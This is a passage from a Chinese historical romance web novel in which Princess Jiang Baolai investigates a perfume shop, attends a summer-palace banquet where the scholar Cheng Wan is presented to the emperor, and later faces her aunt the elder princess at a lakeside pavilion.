虽一株双花在向着不同的方向生长,但他们一直都明白,彼此是能在未来抑或当下为自己撑腰的人。
回府的路上,姜宝来想起那间卖珠宝的铺子,沉思片刻,让覃楹与雾萝两个再去探听一番虚实。
那日那波斯人虽瞧着热情好客,却是一点不客气地将多吉拦在了门外。并吃力学着长安人士的家乡话,装傻充愣:“不能进,不能进。”
最后还是一路过的胡商,骆驼背上拖着一貌美女郎闻言笑得前俯后仰,上前解了围:“这白面郎君,儿家来告诉你,这家珠宝铺子,只有小娘子们可进哩!”
-
覃楹两个办事妥当,当即装扮一番,戴了幂篱便去了珠宝铺子,果然那波斯人未加以阻拦。
两人在铺子里稍稍转了一圈,一会儿瞧瞧这个珠宝,一会儿又很是不满地放了回去。
波斯人看在眼里,很快将他们引去了铺子后面的隔间。
覃楹坦然自若地跟在波斯人后面,雾萝则在幂篱下抬眼扫视了四周。
好家伙,这珠宝铺子内果然别有洞天,别看小小密不透风的一间隔房却是围满了长安城中许多贵女。
人人都如二人精明,知道带了幂篱遮挡下身份出门。
而那些贵女正围在一俏丽的女波斯人面前,眉开眼笑。
雾萝伸着脖子朝里望,险些与一出了隔房的贵女撞在一起。覃楹一手将她拉了过去,隐约间却似闻到一股淡淡的异香。
香料?
高原西南部的波斯人惯会用香料,长安城很多香料也都来自于波斯或西域。而且公主也极爱香,她时常在公主府为公主调各式各味的香,自是极其了解。
雾萝皱了皱鼻子:“什么味道?那么香?”
波斯人哈哈笑着朝着雾萝抛着媚眼。
那波斯人生得浓眉大眼,满面胡腮,与她们中原人生得不同,但也透着另一番英俊。
雾萝十六年来,自公主将她在山野间救下再到长安盛世的公主府里,虽见过不少俊俏儿郎,却是从未有男子这般朝自己抛着媚眼。
雾萝一瞬红了面,垂下了眸。
长乐宫里,覃楹一五一十地汇报完毕,雾萝再眉飞色舞地重述了一番。
雾萝道:“公主,那香都是都城里的贵女,若是对哪家郎君有情意惯用的。听说此香味道独特,若是郎君闻了保准会被迷得神魂颠倒、如痴如醉,神不守舍……”
身后自有侍女为公主挥着团扇,姜宝来叉了一口樱桃入口:难道这杨文君有心仪的郎君了?
怎生这般藏着掖着的?
难道有损于他们弘农杨氏的门楣?
想到这儿,姜宝来转了转清莹的眼珠朝她二人身上移来移去。
自小在公主身边服侍的二人自是知晓公主心里是怎么想的。
这是在要那香料呢!
风水轮流转,这会换成覃楹蓦地一羞赧。
这是没有了。
姜宝来无声地一叹。
谁料下一刻,雾萝摆弄着自己腰间的小荷包双手递了上去:“公主,你快瞧瞧。我就知道你有大用处。”
姜宝来:“……”
覃楹:“你,你什么时候去买的?方才在珠宝铺我二人一直都在一起。”
雾萝眨眼:“我说我去茅厕啊!你总不能与我一同结伴去吧。”
雾萝再凑上前,笑嘻嘻地道:“公主,要不要婢子去将那程校书换来?”
覃楹眼瞧着公主竖起了蛾眉,忙拉着雾萝出了屋子。
雾萝坐等右等也没等到公主出府,哪怕是以回学馆温书听课的名义也好啊。却在这日的午后,等来了宫里的消息,长明帝欲带着众妃嫔、子女,与皇室宗亲及朝廷重臣去玉华宫避暑。
姜宝来得知这个消息的时候瞧了瞧外面的天,就快要到金秋了,避暑避得哪门子暑,估计是姚圆清那日被吓得狠了,她那宠妃心切的好父皇生了体贴、安慰的心。
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前几日那姚圆清不是说了,奈何她出不得宫。
但姜宝来觉着,避暑是假,她姚淑妃姑侄,或是兄妹想见上一面才是真。
玉华宫避暑,姜宝来认为这是个机会。
顾绮与姚芳好、杨文君一众世家门阀贵女随行。临行前,覃楹又带着出自长乐宫的一张洒金柬去了沈家,请了杨湘君一同去玉华宫。
丝毫不给她沈家众牛鬼蛇神反悔的机会。
一路鸟语花香,山清水秀。
顾绮与杨文君跟在嘉福公主身后那辆奢华又宽大的马车里。姜宝来则强硬地在半路拉着杨湘君入了她的马车同行,雾萝撩着车帘看了一路的风景,叽叽咕咕说个不停,姜宝来听了一路,最后不由靠在了杨湘君的肩上睡了过去。
直到一行人到了玉华宫,姜宝来下了地,顾绮才快步跑了过来,去寻她崇拜的小公主。
她可谓是忍了一路。
顾绮道:“长风表哥方才在护驾陛下马车,可那眼珠子都要掉到公主你的马车上了。”
“公主啊!照着这般下去,长风表哥岂不是没戏了!”
姜宝来摇着扇,也随着顾绮惊慌失措,探过身,睁圆了明眸问:“照哪般下去?”
顾绮抿着唇,却是不说了。
杨文君走过来笑:“今日瞧着公主气色好多了。”
姜宝来:“我什么时候没好过?”
杨湘君在旁瞧着她心境开阔,跟着笑了笑。
姜宝来注意到她的神态,很是飞扬跋扈地用扇轻拍在了,她拿着手帕的一双素手上,说:“今日,你哪里都不许去,只能跟着我!”
-
姜宝来走得快,落在最后面的姚芳好渐渐上气不接下气,气喘了起来。她一手由侍女扶着,似吃力地朝玉华宫的院落走去。
雾萝回头道:“姚姑娘慢一些,方风寒初愈,万一你有个什么闪失可怎么办?公主的伴读缺一不可呢!何况淑妃娘娘也风寒初愈,若是得知你再生了病,该如何是好。”
贵女们听姚家这姑侄两个一同染了风寒,便有些纳罕。再去瞧姚芳好那半张素白的额头,自打前些时日这姚娘子破了相,身子骨一直时好时坏,便是这样的好日子,还带着一张遮面的面纱。
真真的是可惜了。
此一行玉华宫避暑,也是她们长安众女子们相看佳婿的机会啊!
姚芳好咳了好一会,这才恭敬行了礼:“是。臣女此行绝不会拖累公主。”
姜宝来恍若未闻,自顾向着走着,长乐宫的一众侍女在旁簇拥着。
远远地,她发现胞兄与她那几个同父异母的兄长走在一块。
而程晚难得也在其中。
姜宝来眼皮一跳。
今日随行的除护驾的南衙十六卫中的人,不都是父皇钦点的一些朝中重臣么?这九品芝麻官如何在内一同来了玉华宫?
她让多吉去打听,多吉很快回来禀道:“陛下以那日救驾公主有功,破例让程校书随行的。”
姜宝来眼皮又是一跳。
-
玉华宫设宴。
长明帝让诸位随意,饮酒的饮酒,吃肉的吃肉,世家贵女们两两坐在一起,有姑娘窃窃私语:“……到底是舅舅家的表兄,听闻杜夫人还为此大病了一场,怎生这姚娘子像没事人一样。今日还来了玉华宫避暑?”
“难不成是作为公主伴读赴宴?”
有贵女摇头,不赞成地道:“我看未必,这公主伴读的身份还是上面那位娘娘加塞进去的。何况公主素来看不惯她,还能主动让姚娘子相随?”
姚芳好在不远处,将这些谈论过多过少的入了耳,她眉睫轻颤,一手紧握着酒盏,过不久悄悄离了席。
世家小娘子席间不胜酒力的比比皆是,大家伙心知肚明,这些年也更未在意,随她们去。
姜宝来本在慢悠悠一手摇着团扇,一手端着酒盏细细品尝起来。见此,放下了酒盏,下一刻,覃楹不动声色地跟了上去。
玉华宫的一处流淌的奇石小清泉处,姚芳好站在凉亭里,怔怔撑着亭柱一言不发。
侍女朝周围扫视了一番,见无人前来,便在旁道:“那公主不就是命好投胎到了帝王家,俗话说风水轮流转,小姐一心向善,通情达理,这转来转去,指不定就是她嘉福公主的祸事。”
姚芳好仍然抿着唇默然,而后一手拽着手帕,冷冷淡淡地道:“我芳好以后多的是福气。”
覃楹无声无息的离去,将主仆二人的谈话原原本本交代给了公主。
姜宝来笑:风水轮流转?可上辈子、这辈子,她不还是帝家的公主?
长明帝在设宴上,一一见了今年春日里的新科进士,状元、榜眼、探花,一切很是寻常。
倒是姜宝来吃着酒,神思不知飘向了何处。
直到那日曲江游宴上采花赋诗的探花郎出现,长明帝一个眼色递给了内侍王贤:“这就是那日救了吾儿的校书郎?”
校书郎。
等等,校书郎……
姜宝来回过神,猛地一呛。
24. 面圣
程晚立在场内正中,满场的紫绯朱绿,却难得有一人穿着九品青袍。
稀奇,真是稀奇。
今日随圣驾来行宫的官僚,有眼尖的早已注意到此人。
那日嘉福公主遇袭,间接害死了兵部董侍郎的夫人,这事可谓是举朝哗然。大家伙都心有余悸。
听闻当日还是魏御史魏林的儿子救了嘉福公主,为此陛下还在朝会上对这魏中郎将一番嘉奖,朝中上下无人不知,这当老子的自然也名利双收。
魏林春风得意,当年凭着押解淮南王回京,没过多久便逐步升为三品御史大夫。而他那个儿子,虽有当年的公主当场拒婚,但大家伙也都心知肚明,放眼整个都城,还没有第二个可以胜任嘉福公主驸马的人选,且还是当年陛下内定的驸马。
可熟料,当日嘉福公主遇袭后,却突然半路杀出来一个校书郎,且是今年春日里的新科进士,实打实的探花郎。
在朝的官僚们自是清楚,或过多过少的听起过程晚此人,但尚在闺阁,平日里除宴会外大门不出二门不迈的闺阁女子却不知这探花郎。
程晚内敛沉稳地站在场内,恭声道:“微臣拜见陛下。”
长明帝颔首,看向案下的程晚,随后稍抬一抬臂,道:“程晚。抬起头来,让朕瞧一瞧。”
坐席下的姜宝来一手紧捏着杯盏,一旁随侍的雾萝眼瞧着公主的举动,也跟着心提了口气。
陛下英明睿智,但与生俱来的天子威仪在那儿,不怒自威。这校书郎第一回面圣,能受的住陛下的威慑力,与今日众官僚都在的气场吗?
若在御前失仪,那这他日的驸马之位可就拱手让人了。
雾萝紧抿着双唇,很有一副为公主心急如焚的心态。谁知她们家的公主,却与她大相径庭。
那日她进宫一趟,父皇就与那王贤两个一唱一和,你一句我一句提起程晚。本以为这事不了了之了,可今日行宫避暑,父皇却钦点了程晚跟随,这也罢,这个时候设宴,对那状元榜眼三言两语地打发了,却单单对程晚有另眼相看的态度,这是在作甚?
可是想为她与程晚赐婚。
但她紧咬不放是一回事,父皇强硬的赐婚又是一回事。
强扭的瓜不甜,她姜宝来能不知?没到水到渠成,如何佳偶天成?两个人过着过着,没准到最后就成了一对怨偶。
这些道理,还是当年杨湘君与沈川成婚时,成婚的前一夜她去了杨家,杨湘君望着窗外的月亮自说自话。
她当时没头没脑的一句话转过头就忘在了脑后,谁想这个节骨眼上却豁然开朗。
姜宝来死死盯着面前的程晚,耳朵里听着周遭不了解内情的贵女们窃窃私语。
“他叫程晚?”
“今年新科进士,俊美的探花郎?”
“比魏郎君还好看。”
“但我瞧着,比姚家的大公子还要俊俏。”
“啊呀!你们瞧,他一笑起来,嘴角还有一对小梨涡。当真、当真好看极了。”
贵女们越说越兴奋,纷纷羞红了面,有觉得眼熟的,认真回忆起来,忙对身侧的国子监急救之女吕凌音道:“吕娘子,当日我们去芳菲阁买胭脂,可不就是你差了府上侍女去买吃食,给这位校书郎送去?”
“校书郎,校书郎,放眼我们长安城,还能有哪个校书郎这般俊俏,得吕娘子倾慕?”
周遭的贵女们七言八语,小声地议论着。
姜宝来猛地回过了头,朝着祭酒之女看去。
吕凌音蓦地一羞赧,垂下了眸。
姜宝来以团扇遮着唇,嘴角上扬,讥诮一笑。
国子监吕祭酒,姚坤的坐上宾,她若让吕凌音得了去,那还了得?
这是翘她阿兄的墙角呢?还是她的墙角呢?不过这事儿她那好阿耶知道么?
上座的长明帝看着程晚,认真端详了片刻,是个俊俏的,果然应了他的小女儿那句:他好看。
然而到底是家世不好,纵然他可以为了自己的小女儿封他个高官,却改不了他出身寒门的事实。
随即,长明帝让这些随行护驾的魏翊扬出席。两人站在场内正中,一人犹芝兰玉树,一人乌发高束,生气逼人。
只是贵女们瞧着,平日里素来和气的魏郎君今日好似有些不快。
官僚们有不知情的一时有些茫然。
姜宝来手里的酒杯似都要快被她捏碎了,父皇这到底唱的是哪一出?
今日她可不想让人看一出木偶戏。
她正想说:父皇,儿臣正值芳华年少,正是朝气蓬勃的时候,儿臣还不想早早体会婚嫁。
她可不想体会先婚后爱的乏味。
姜宝来正要起身,孰料,长明帝却开了口:“今年的新科进士个个都是有才华的。朕心甚慰。”说着,他又将目光扫向了魏翊扬:“长风与程卿救驾吾儿有功,朕亦心甚慰。”
姜宝来闻言眉心微微地蹙起,但只是一瞬她又恢复了与平日无异。
镜子、镜子,满脑子都是那长安城多出来的笑面“妖怪”在嘱咐她如何战胜敌人。
众臣本以为这是陛下对这位新科进士有了另眼相看的心思,否则不会让他与魏御史的儿子一块出席。
谁知陛下话语里的亲昵,当即泾渭分明。
魏翊扬道:“陛下恩泽天下,日理万机,臣等必尽忠竭诚。”
这是君与臣之间的忠贞不渝。
很快,魏翊扬又道:“长风与公主自幼两小无猜,情谊深厚,长风定佑公主一世无忧。”
这便是抛开君与臣的生疏,也算大庭广众之下与公主的表白吧。
贵女之间有心仪魏翊扬的一时黯然神伤垂下了眸,既是公主他日的驸马,那便不是她们可妄想的。
而姜宝来在听见魏翊扬的答话时,嘴角勾起一抹冷然的微笑作势就要将手中的酒盏砸过去。
程晚却在这时稍稍迈出一步,辑礼道:“风调雨顺、国泰民安,即是陛下所愿。君圣臣贤明,陛下亦自得天心眷顾。”
程晚再道:“公主承天之佑。本质使然纯净无暇,心地纯真,自是福气绵长,一路福星追随。”
场内一时鸦雀无声。
此言若是由他人启齿,那必定会落个谄媚、奉承的嫌疑,惹君主不喜。
但程晚谈吐自然、大方,就如这酷暑之热里藏在避暑行宫的一道清风,让人会舒舒坦坦。
君圣明,臣贤明,巍巍盛世,有君才有臣,必是君治理有方,臣子才会心甘情愿地履行自己的责任。
这话更让人舒坦。
而夸赞公主的话,前有神明庇佑的嘉福公主,后有这探花郎的直白,通俗易懂的告诉大家伙,公主拥有一颗赤子之心,这好福气是自己得来的。
果不其然,长明帝满意地点了点头。
姜宝来不觉中心头的一缕怒气消了,程晚,他好似会抚平所有人的坏情绪。
而且方才他迈出那一小步,他是在提醒她吗?还有那声纯净无暇,是在说她姜宝来么?
她不禁暗自腹诽:妖怪。
确实没忍住,下意识笑出了声。
因此,场内众人,一时又将目光对准了公主,这清脆动听的笑音,大家伙可都听见了。
既博了受尽皇室宠爱得公主一笑,那这探花郎到底有些不同寻常。为此,重臣便有些另眼审视的意味了。
雾萝在旁看着公主的眼眉上扬,明眸里都是冒着亮闪闪的繁星,她抿着唇垂下了头,偷偷笑了笑。
奇了。
为了公主的幸福,她还得在努努力。
席位上方的长明帝默然片刻,不知在想着什么。良久,他温声道:“朕记得,程卿目下在崇文馆任校书郎,是当日由太子举荐?”
一直默不作声地姜朔玉出列,行礼道:“是儿臣。”
长明帝点点头,也知当日太子举荐此人的原委,于是道:“太子处事得当,赏!”
御座一旁的姚淑妃闻言忽地一笑:“殿下
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此乃明智之举,且陛下慧眼识珠,瑜儿他们自当应以殿下为表率,为陛下分忧。”
长明帝未语。
座下的几个皇子,以齐王为首,并着楚王、滕王们纷纷起身,朝长明帝辑礼:“父皇圣明远见,儿臣受教。”
众臣也随之附和。
酒过三巡,长明帝提前带着宠妃离席,众臣恭送。都城贵女们又对公主连连敬酒。
此乃帝家唯一的一位公主,她们自当尽心竭力地与她好相处。他日自有用处。
姜宝来望着酒盏里澄澈的美酒,手握着杯身晃来晃去。御苑里便罢了,此乃父皇亲临的宫宴,容不得一点差错,御厨里的盘盘菜肴从烹饪好,再到呈至席位,再到诸位皇室宗亲的面前开始动箸食用,道道工序都有为此试毒的替身。
从前她大意了,若是从前出了门就带着银针,走哪都带着谨慎的覃楹,或许就不会中毒了。
想到这儿,姜宝来一叹,
可话说回来,若她没有中毒,没有这重来的这一世,那“妖怪”还会屡屡出现在她的面前吗?
姜宝来抬头漫不经心地一扫四周,见父皇走后,大家都随心自在起来。朝臣们在一起互敬着酒,你推我让。耳朵旁还有一群小娘子在叽叽喳喳。
而阿兄在安心用食,无人打扰。
甚好,甚好。
她再一扫周围,那些偏偏角角,见方才围在一块说说笑笑的朝官,朝人群里的一人举盏碰杯的哪来是别人,正是他程晚。
姜宝来轻哼了一声,方才程晚这一席话,想必已成了那些山羊胡、络腮胡老头子心目中的乘龙快婿、乘龙快孙女婿!
姜宝来蓦地起了身,转身离去。
留下了呆愣在原地,还在为公主敬酒的小娘子们面面相觑。
恰巧,就是起身的这一瞬,姜宝来忽地感到有些头晕,还有些犯困,杨湘君在旁一手拉住了她的手腕,问:“今日来行宫舟车劳顿,我见你在马车里只有了一些糕点、梅子酒饮,不若再吃一些?晚膳还有得一会。”
姜宝来:“我有些吃不下呢!”
程晚在人群中望着那一抹石榴红罗裳曳地的身影,得体的一笑:“诸位大人,下官不胜酒力,只闻着这酒香便要醉了,席前失仪恐会让诸位看笑话,下官先行一步,去吹一吹玉华宫的湖风,失陪了。”
诸臣却酒意正浓,不肯放这难得的儒雅之士离去,如若贤才可遇不可求。
原本在安心用膳的姜朔玉却在这时起了身,缓缓走到诸位面前,以拳抵唇轻咳一声。
诸臣一时头脑清晰,心知来者何人,本在程晚面前的朱紫朝臣,一时间各自散去与姜朔玉敬起酒来。
姜朔玉眉眼带笑:“子煦滴酒不沾,放过他吧。”
程晚温声道:“殿下也应浅酌。”
姜朔玉吩咐身后的茂才倒酒:“今日孤高兴,劳子煦挂心。”
“去吹吹行宫的湖风吧。”
诸臣看着两人的言语尽显亲厚,心中不免暗想:这个程子煦,若为当朝储君的近臣,他日必定有他飞黄腾达时。
理应抓住。
程晚迟疑一瞬,望着适才公主离去的那花间小路,徐徐而去。
席间,姚坤一手抚着胡须,半咪的双目里闪过一抹深邃。
而魏翊扬瞧见公主离去,替父亲魏林挡了酒,正欲去追,楚王滕王们几个皇子带着叔父家的几个堂弟走了过去,直道见他武艺上涨想切磋切磋。
魏翊扬正想想个由头拒绝,楚王滕王却丝毫不给他机会,一左一右将他连拽带拉地架了出去。
程晚走在花林中,身后的纷纷扰扰都似再与他无关。
雾萝望着座下的杨湘君忽然打翻的酒盏,浸湿大片的衣裙,即刻拿了公主的披风铺盖在她膝上。并道:“湘君娘子可带了衣裙?随婢子去更衣所将这湿衣更换下来吧。”
方才公主留了她与覃楹在此照看湘君娘子,公主匆匆离去,面带不悦,多吉自是追随公主去了。
25. 轻啄
行宫里有一清湖,名为玉华湖,周遭绿树成荫,有古木遮蔽,平日里很是幽静。
姜宝来不喜欢热闹,喜欢一个人独处,平日里来行宫时,或是陪着长明帝用膳,或是与胞兄两个围着玉华湖转一转。
能重活一世,而不是真的死翘翘了。真好。
姜宝来望着满眼绿意,湖林景色,两手撑在了湖岸边的一块大石上,欣赏起美景。
少顷,她似乎觉得有些不尽兴,于是又三两下将脚下的鞋履脱在了一旁,露出的一双罗袜在青草地里晃来晃去,而后姜宝来彻底地倚在大石上,阖眼享受起来。
今日虽行宫人多眼杂,但多吉就在不远处,她出来时听见身后的动静便察觉到了。
程晚一路穿过花林,直到在湖池旁遇见姜宝来,瞧见的便是这样一副场景。
他停下脚步,望着怡然自乐的公主,垂眸笑了笑。
她似乎从不会因任何事感到难过,似乎所有的挫折都会坦然而过。
程晚朝着公主身边的宦官行了一常礼,既为尊重。而多吉早在程晚穿过小径,走近花林里时便注意到了响动与来人。
多吉短暂地犹豫一会儿,会心一笑,随即走上前唤了一声公主。
姜宝来蓦地睁开眼。
她原以为是行宫的宴会进入了尾声,那些叽叽喳喳的姑娘们又将玩乐的场地换到了玉华湖。
姜宝来慢悠悠去捞了鞋履,下意识回头与多吉道:“不知阿兄有没有被那群小老头敬酒,我要去他住处瞧瞧……”
姜宝来话音还未落下,却见远处一袭挺拔的青蓝色身影立在花树下,虽面朝着他,却是垂着眸。
他怎么出来了?
姜宝来眉梢一挑,随后回过头瞧了瞧自己还暴露在外的罗袜,那翘头履上有一颗鸽子大般的大珍珠,虽好看得很,但它总觉得走路累得慌。
今日来行宫,覃楹特地给她准备了轻便的丝履,可她还是穿了尚服局前些时日送来的珍珠履。
在打扮自己,取悦自己这一块,她不能将就。
本朝风气虽素来开放,可就这般脱了鞋履,公然暴露在一个男人面前,换作别的小娘子早就花容红如虾米了吧?
可她是别的小娘子吗?
想起方才在宴会中的一幕,仿佛明日就要双双送进洞房,盖喜帕,饮着合卺酒的吕凌音。姜宝来蓦地沉下了面,将刚刚捞起的鞋履朝地下一扔,而后朝那青蓝色身影道:“程晚!”
“你!走近些!”
程晚依言走了过来,眉眼间带着笑意,却是在距离几步之邀的距离时停了下来。
程晚问:“公主可吃酒了?”
姜宝来头也没回,望着一池清湖,好不客气地道:“再走近些,到我面前来。”
末了,她补充道:“等着喝你探花郎的喜酒呢!”
程晚轻缓的走了过来,忽闻此言,怔了一怔,随后他明白过来,朝姜宝来温笑道:“我不曾娶妻,何来喜酒?公主可是吃醉了?”
姜宝来这才抬起明眸来去瞧他,又问:“那你是做了哪家府上的乘龙快婿,还是乘龙快孙啊!”
程晚莞尔,眼眸随之也跟着弯了弯,他声音清润,注视着她:“哪个都没有,程晚只是程晚。”
姜宝来听着他如涓涓溪水般的作答,再去看微微翘起的唇角与那双小梨涡,她抬起手伸出一指尖朝那小梨涡上轻轻一点:“程子煦,你会不会是来寻我的吧?阿兄呢?还有方才在宴上,父皇叫你出席,你有没有想过父皇他或许……是想赐婚?”
她倾身上前,继续追问:“假如父皇真的赐婚了呢?假如我应了呢?”
“程子煦,这强求来的婚姻怎么办?”
她一连问了多个问题,程晚认真地听着,随后他低垂下眼睫看向搁置在大石旁的那双鞋履,温温道:“太阳快落山了,傍晚凉,快将鞋袜穿上。待公主将鞋袜穿好,子煦在一一答复公主。”
“不行!”姜宝来强硬地道。
随即她用足尖将那鞋履一勾,扔在了程晚的面前,很是蛮横地道:“你来给我穿。”
程晚垂着眸,瞧着突然出现在眼前的一双属于姑娘家的鞋履,色彩鲜艳,每一只上面都镶嵌着一只鸽子蛋般大小的珍珠。
程晚不由得一声哑笑,笑意顷刻蔓延至了嘴角。
但,姜宝来却不高兴了!
她循着他的目光看去。
她在笑她的珍珠,还是在笑她珍珠镶在鞋子上有些夸张?
姜宝来当即问:“程子煦!你敢笑我!”
程晚立时回:“不曾。这双履很漂亮。”随后,他蹲下了身,如那日为她擦药般,耐心且动作轻柔地拿起一只搁置在身旁的鞋履为她穿了起来。
他道:“是来寻你的。殿下应是还在宴会上。至于赐婚……”
这时,远处的多吉忽然上前道:“公主,是有几个小娘子过来了,还有长公主。”
“姑母?”姜宝来有些怔愣。
这个姑母每次来行宫赴了宴吃了酒就不知去向何处了,今日难得想游湖?
姜宝来望着湖面空空如也,一艘画舫也无,忽然又将目光对向了程晚。
对了,那日在御苑,这个程子煦原本不在受邀里。谁想她姑母以想一睹新科进士文采为由将他们都召了过去。
想到这儿,姜宝来蓦地把眼一眯,随后从大石上起了身,一手拽住程晚:“你跟我来。”
湖池旁不远有一座凉亭,因早年长明帝来行宫避暑,嘉福公主喜观湖,天气并非十分炎热时,在亭子里,一坐就是半个时辰。
玉华宫的宫人们知晓公主的惯常喜好,早早便在三面挂了不透光的纱帘,只留了可观赏湖景那一面,为了防止公主晒到,又备了茶水点心让公主享用。
程晚任姜宝来拉着手腕去了那座凉亭,而长公主那边也带着几个世家贵女一路走走逛逛,逛到了玉华湖边。
方才她并没有注意到姜宝来是何时离去的,只因她所有的注意力都在这个叫程晚的探花郎身上。
比她心仪的那个中年郎君生得还要俊、还要俏。春日里的曲江游宴上她便注意到了,险些在酒宴上失了态。
但她是长公主,那些个白面书生可以心甘情愿,不惜自己的脸面来求她垂怜,她却不能放下身段去取悦一个新科进士,何况这进士还是个寒门出身。
但程晚那张容貌,让她念念不忘。直到御苑一宴,她借着一赏这
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些出类拔萃的进士为由宴请,本想寻了由头与这个探花郎私谈一番,谁想下人们却说那探花郎的确进了御苑,却不知去向,直到宴会进入尾声,她兴致尽失,下人们才来回禀,那探花郎是在御苑里迷了路!
长公主见程晚在宴会上离去,便放下了手中的美酒带着侍女追来了玉华湖。谁料半路遇见了几个世家的小娘子,其中一个是国子监吕祭酒的女儿,她认得。
吕凌音一脸急切,几个世家的小娘子在旁解释,原是她的帕子丢了。
长公主不以为然,一个帕子,丢了便丢了。但这个还未出闺阁的小娘子,贴身的手帕丢了,若是被有心人捡了去,这事儿就大了。
她若没遇上便罢了,遇上了怎么着也要带着去寻一寻。那日宴会上的事,若不是她当日去了宫里与皇兄赔罪一番,恐怕皇兄就会怪罪下来。
长公主沉思片刻,派了几个贴身侍奉的侍女留下陪吕凌音寻帕子,自己则朝玉华湖没去了。
但她没来料到,还未走出几步远,吕凌音的手帕竟找到了。
长公主意味深长地看了吕凌音一眼,再不多言一句,扬长而去。
到了玉华湖畔,长公主朝着四周望了望却不见程晚的身影,心下感到奇怪。
身侧侍女在旁禀道:“长公主,没有。”
长公主只觉心里立时咯噔一声,再眼皮一跳:“没有?什么没有?”
侍女瞧着长公主骤然沉下来的脸面,忙解释:“今日许是风大,湖上没有画舫。”
长公主一声厉喝:“退下去!”说着,又回过头朝着吕凌音几个看了看,笑道:“这湖边的风果然大,你们几个小娘子别着了凉,我就不在此多留了。”
长公主正打算原路返回,别看这花树林不大,林里的小径却四通八达,说不定那程晚早已回了宴会上。
想到此,长公主笑意加深,即是在行宫,又不急着走,机会还多着。
孰料,方迈出一步,隐隐约约地却听见不远处的那座凉亭里有一丝响动。
长公主突地顿在原地。
难道是那探花郎吃多了酒,醉在了亭子里?
想到此,她眼睛一亮,随后又想起了随她而来的那几个世家小娘子。
长公主手里死死捏着手帕,垂着头深思一会儿,忽然道:“我忽然有些累了,那有座亭子,我要去歇一歇,打个盹。”
今日来行宫,一路舟车劳顿,长公主既然感到疲乏想小憩片刻,那她们这些一块儿来的姑娘们自然不能打扰,于是正想告辞回到宴会上。
但吕凌音也听到了那座亭子里的响动,她也想着会不会是程晚。再去瞧长公主眼中的一片热烈,吕凌音心下一沉,随后又心下一横道:“长公主殿下方才吃醉了酒,臣女扶殿下过去吧?”
我用得着你?
长公主打心底里将吕凌音暗骂了一通,面上却柔柔地笑:“不必。”说着她便带着侍女们火急火燎地朝着亭子里走。
谁想,仅在咫尺,却听那层层纱帘里响起一声曼妙的女音。
“程子煦,你方才喝了甜梨汁么?嗯……有些甜。再凑近一些,让我再轻啄一遭……”
蓦地,长公主定在原地,目瞪口呆。
26. 质问
几息过后,长公主一把掀开了随湖风轻轻飘摇起的纱帘。
亭中,一火红罗裳的女郎正一手托腮,慵懒倚在一雕花红木的罗汉床上,裙摆曳地,薄粉敷面。好个俏丽。
长公主深吸了一口气,再仔细去瞧,乖乖侄女的面上,双颊一抹红晕,眸似含秋水,又好个楚楚动人。
而那探花郎程晚,贵女们在察觉长公主的异样时,已步履匆匆围了上来。只见他正侧头含笑,满眼宠溺地看着公主。
身后相继而至的吕凌音一怔。
随后,几贵女纷纷朝公主施礼:“见过小殿下。”
长公主强颜欢笑:“乖乖侄女,你这是在与这寒门书生红袖添香么?”
姜宝来:“姑母怎生有兴致来游湖?”说着,她又似有些惊讶,回眸看着程晚,含情脉脉地说:“寒门还是世族,我若喜欢不都是一样的么?”
长公主干巴巴地笑。
程晚见状便欲起身行礼,孰料,姜宝来却一手按住了他。
长公主道:“原来这探花郎是乖侄女的人。侄女一直未曾应下长风,原是在这儿等着。既然这般喜欢,何不求得皇兄赐婚呢?”
姜宝来一扫长公主身后的几个世家小娘子,收回目光,笑吟吟:“姑母的霸王硬上弓,侄女学不来啊!水到渠成不好么?侄女最是怜香惜玉了,怎么舍得对程朗硬来啊?”
长公主闻言一噎,随即搅了搅手中的帕子,盯着程晚瞧个不停。姜宝来见此懒洋洋起了身,走到了长公主面前,蛮横利落接过了长公主身后侍女手执的团扇。
姜宝来笑:“这大热的天,想必姑母一路寻侄女来流了不少汗吧?侄女给姑母摇摇风,姑母好清醒清醒。”
长公主似才想起身后还有几个跟着她来的小娘子,回身一冷眼扫过,又对姜宝来笑道:“可不就是寻侄女来的。只是姑母有些好奇,听闻这探花郎最是清高,乖侄女怎的骗到的手?”
“骗?”姜宝来瞪圆了眼睛:“他清高吗?”说着,她回身看向程晚,悠悠问:“程子煦,我骗你了吗?”
程晚依言起身,还是朝着长公主行了一礼,他笑道:“公主不曾。”
姜宝来一手轻摇着团扇,鬓间的金步摇也随着她的动作,轻轻摇晃。女郎脉脉含情瞧着面前的玉面郎君,尽显妩媚。
长公主身后的吕凌音又亲眼瞧着,亭间的公主一手抬起了程晚那一只修长干净的手,极其自然随意,就好似二人已这般的举动很是惯常。
吕凌音忽地流下了眼泪,朝着亭子里一施礼:“臣女方才吃多了酒,有些……有些感到眩晕,不敢在长公主、公主面前失态,臣女先行离开。”
长公主还未答话,吕凌音与身侧的几个小娘子又看向了公主,但公主片刻的眼风也未曾扫过一个,一手摇着扇不疾不徐朝身后走去。
多吉这时上前撩开了围纱,长公主“啊”地一声惊讶,直到这时才觉,这亭子里还有一个太监。
长公主登时恼怒:“死太监,你想吓死本公主!来人……”
明明将要到手的鸭子,却在自己的眼皮子底下飞走了。
不,是被她的乖侄女强硬掠走的!
长公主身后的侍卫与侍女一时蜂拥而上,程晚正要开口,已走出几步远的姜宝来蓦地回了身,浅笑嫣然:“多吉,还不跟上来。”
这是公主摆明了要护自己的人。
但身为长公主府的守卫自然只听从自己的贵主。闻言,踌躇一刻,正欲再上前。
姜宝来立时一声:“跪下!”
公主为皇室的金枝玉叶,但他们的长公主同样也为金枝玉叶,与当今君主乃一母同胞。
但公主既让跪他们便不得不思量三分。
几人一时回眸看向长公主,长公主已勃然大怒,顿觉在晚辈面前失了面子,还有那程晚,明明她都想好了,他穿着一身朱红为自己吹笛、弹琴的模样。
可惜了。
何况,她今日想惩治一个宦官、一个下人,又何妨?
于是,长公主朝着身后的贴身侍女扫过一个眼风。那贴身侍女自是长公主的心腹,只听命于长公主,闻言便要来强压多吉。
程晚这时上前一步,声音里透着沉稳,道:“长公主殿下,今日陛下初来行宫,若遇宫人不论是非曲直受责罚,陛下素来善待宫人,倘若此事若陛下闻之,恐会徒增陛下烦扰。何况多吉公公那日公主遇刺,也曾救驾有功。”
“好个是非曲直,你说是我不分对错了?我堂堂一国长公主想惩治一个下人,还要惊动皇兄了?”
“还有你程校书,别人都言你一句清高,我倒是看你不止清高,还无畏皇室,藐视皇室。程校书,你可知藐视是何罪名?来人……”
长公主话音还未落下,只闻嗖地一声,一只刺眼的光芒从眼前飞过,随后她身后的侍女发鬓散落,珠翠落地。
